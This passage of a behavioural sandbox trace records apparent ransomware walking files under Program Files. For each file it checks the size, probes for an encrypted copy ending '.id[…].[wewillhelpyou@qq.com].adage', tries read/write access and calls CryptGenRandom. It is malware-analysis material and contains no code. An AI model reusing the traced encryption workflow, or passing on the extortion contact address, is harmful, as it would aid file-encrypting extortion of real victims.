lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=14876) returned 1 [0062.035] CloseHandle (hObject=0x1a4) returned 1 [0062.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png")) returned 0x20 [0062.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.035] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-today.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.127] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1174) returned 1 [0062.127] CloseHandle (hObject=0x1a0) returned 1 [0062.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-today.png")) returned 0x20 [0062.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-today.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-today.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.128] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.128] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=413) returned 1 [0062.128] CloseHandle (hObject=0x1a0) returned 1 [0062.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-down.png")) returned 0x20 [0062.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.128] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-hot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.129] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=578) returned 1 [0062.129] CloseHandle (hObject=0x1a0) returned 1 [0062.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-hot.png")) returned 0x20 [0062.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-hot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-hot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-hot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.130] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.130] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=203) returned 1 [0062.130] CloseHandle (hObject=0x1a0) returned 1 [0062.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext.png")) returned 0x20 [0062.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.130] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-disable.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.131] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=217) returned 1 [0062.131] CloseHandle (hObject=0x1a0) returned 1 [0062.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-disable.png")) returned 0x20 [0062.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-disable.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-disable.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-disable.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.132] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.132] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=409) returned 1 [0062.132] CloseHandle (hObject=0x1a0) returned 1 [0062.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-down.png")) returned 0x20 [0062.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.132] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-hot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.133] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=574) returned 1 [0062.133] CloseHandle (hObject=0x1a0) returned 1 [0062.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-hot.png")) returned 0x20 [0062.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-hot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-hot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-hot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.134] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.134] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=216) returned 1 [0062.134] CloseHandle (hObject=0x1a0) returned 1 [0062.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev.png")) returned 0x20 [0062.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.134] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.139] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2262) returned 1 [0062.139] CloseHandle (hObject=0x1a0) returned 1 [0062.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double.png")) returned 0x20 [0062.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.139] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_bkg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.139] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3009) returned 1 [0062.140] CloseHandle (hObject=0x1a0) returned 1 [0062.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_bkg.png")) returned 0x20 [0062.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_bkg.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_bkg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_bkg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.140] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_orange.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.141] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3541) returned 1 [0062.141] CloseHandle (hObject=0x1a0) returned 1 [0062.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_orange.png")) returned 0x20 [0062.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_orange.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_orange.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_orange.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.141] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_ring_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_ring_docked.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.141] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3026) returned 1 [0062.141] CloseHandle (hObject=0x1a0) returned 1 [0062.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_ring_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_ring_docked.png")) returned 0x20 [0062.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_ring_docked.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_ring_docked.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_ring_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_ring_docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.142] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.143] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1500) returned 1 [0062.143] CloseHandle (hObject=0x1a0) returned 1 [0062.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single.png")) returned 0x20 [0062.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.143] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.143] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3544) returned 1 [0062.143] CloseHandle (hObject=0x1a0) returned 1 [0062.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg.png")) returned 0x20 [0062.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.144] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg_orange.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.144] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4773) returned 1 [0062.145] CloseHandle (hObject=0x1a0) returned 1 [0062.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg_orange.png")) returned 0x20 [0062.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg_orange.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg_orange.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg_orange.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.145] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0062.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_orange.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 